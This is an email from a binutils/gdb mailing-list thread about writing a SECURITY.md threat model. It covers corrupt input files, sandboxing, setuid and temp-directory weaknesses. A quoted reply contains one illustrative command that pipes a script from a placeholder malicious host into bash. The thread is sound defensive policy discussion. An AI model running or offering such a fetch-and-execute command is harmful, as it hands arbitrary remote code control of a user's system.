From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from simark.ca by simark.ca with LMTP id QFDHHZn/N2T6qyoAWB0awg (envelope-from ) for ; Thu, 13 Apr 2023 09:11:53 -0400 Received: by simark.ca (Postfix, from userid 112) id 681D31E221; Thu, 13 Apr 2023 09:11:53 -0400 (EDT) Authentication-Results: simark.ca; dkim=pass (1024-bit key; secure) header.d=sourceware.org header.i=@sourceware.org header.a=rsa-sha256 header.s=default header.b=KRRMHL0o; dkim-atps=neutral X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on simark.ca X-Spam-Level: X-Spam-Status: No, score=-8.0 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,MAILING_LIST_MULTI,NICE_REPLY_A, RCVD_IN_DNSWL_HI,RDNS_DYNAMIC,URIBL_BLOCKED autolearn=ham autolearn_force=no version=3.4.6 Received: from sourceware.org (ip-8-43-85-97.sourceware.org [8.43.85.97]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by simark.ca (Postfix) with ESMTPS id D6D881E0D3 for ; Thu, 13 Apr 2023 09:11:52 -0400 (EDT) Received: from server2.sourceware.org (localhost [IPv6:::1]) by sourceware.org (Postfix) with ESMTP id 6C5F13857349 for ; Thu, 13 Apr 2023 13:11:52 +0000 (GMT) DKIM-Filter: OpenDKIM Filter v2.11.0 sourceware.org 6C5F13857349 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sourceware.org; s=default; t=1681391512; bh=CqEVwyMYfp2BSZ60tSeyHlaiWLUC0eH01PcrldR3HUU=; h=Date:Subject:To:Cc:References:In-Reply-To:List-Id: List-Unsubscribe:List-Archive:List-Post:List-Help:List-Subscribe: From:Reply-To:From; b=KRRMHL0okjhAFtvuGM+m6kuK+4wvV0D6rm0K39vAHaz41ECDQpHjJAjH1321AQjMC pyhITJnAMg3ywqmmd1n2qkq20Gfl4quvKYQisDCIk0wQh6WuLM5h32D36+DvAKs+lp 0ndqCqF9B3nyxXSritk+fcDBvymL6O+pO8GBTCOo= Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by sourceware.org (Postfix) with ESMTP id 280A23858D32; Thu, 13 Apr 2023 13:11:25 +0000 (GMT) DMARC-Filter: OpenDMARC Filter v1.4.2 sourceware.org 280A23858D32 Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 6137ED75; Thu, 13 Apr 2023 06:12:09 -0700 (PDT) Received: from [10.2.78.76] (unknown [10.2.78.76]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 3AB033F73F; Thu, 13 Apr 2023 06:11:24 -0700 (PDT) Message-ID: <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> Date: Thu, 13 Apr 2023 14:11:23 +0100 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Thunderbird/102.9.0 Subject: Re: RFC: Adding a SECURITY.md document to the Binutils Content-Language: en-GB To: Siddhesh Poyarekar , Nick Clifton , Binutils Cc: "gdb@sourceware.org" References: <1c38b926-e003-0e21-e7f1-3d5dbec2aabf@redhat.com> <5b147005-bd28-4cf9-b9e7-479ef02cb1ad@foss.arm.com> <5d044987-39eb-a060-1b2b-9d07b1515e7d@gotplt.org> <73bc480a-a927-2773-8756-50350f76dfbf@gotplt.org> <4ed86e65-0b7f-11d4-8061-2c5d0b1e147e@foss.arm.com> <7b6b10f8-e480-8efa-fbb8-4fc4bf2cf356@gotplt.org> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: gdb@sourceware.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: Gdb mailing list List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , From: Richard Earnshaw via Gdb Reply-To: Richard Earnshaw Errors-To: gdb-bounces+public-inbox=simark.ca@sourceware.org Sender: "Gdb" On 13/04/2023 13:54, Siddhesh Poyarekar wrote: > On 2023-04-13 08:37, Richard Earnshaw wrote: >>> "Direct compromise of security" is essentially what we're trying to >>> define more strongly to prevent spurious CVE assignments. >> >> If a user can be tricked into opening a corrupt file (eg object file) >> and that causes a buffer overflow that's then used to send another >> file to a third party, you can't really pretend that's not a direct >> compromise of security.  We live in the real world and this sort of >> threat is real. > > I agree that this sort of threat is real, which is why we should > recommend sandboxing to deal with corrupt/untrusted files.  There is no > way that any program can be secured against untrusted input *after* it > has been supplied to it, especially if the input is in a Turing complete > form, like a program or a script. > > This is why when one does a: > > curl -s http://evil.website/malicious-script.sh | bash > > it is a legitimate security issue, but it's not a vulnerability in bash, > nor can it be secured in bash.  One must either do this in a sandbox to > contain its impact in that sandbox, or do a secondary analysis (again in > a sandbox) to determine that it is safe. Right, but that's not the case I was concerned about. My scenario is more like when you run something like objdump foo.o but reading foo.o causes corruption in the tools (eg by a buffer exploit) and ends up sending a confidential file to a third party. > >>>> a vulnerability in the generated output that was not already present >>>> in the files used as input. >>>> >>>> Note: none of the programs in the GNU Binutils suite need elevated >>>> system privileges (eg setuid) to operate and we recommend that users >>>> do not use them from accounts where such privileges are >>>> automatically available. >>> >>> We did have CVE-2021-20197, so it's not always setuid. >> >> >> Which is exactly the sort of scenario I was trying to exclude by this >> statement - don't run the tools with elevated privileges. > > I should have clarified that I agree, just that mentioning setuid might > lull users into believing that this threat model is only related to setuid. Which is why I put setuid in brackets and put 'eg' in front of it. It's the most obvious example, but it's by no means the only case. BTW, the real problem underlying that CVE is that the temp-files APIs are fundamentally weak by defaulting to a shared temporary directory. Quite frankly there's no reason why systems shouldn't be using per-user temporary directories these days which are private - who needs to share temporary files with other users? R. > > Sid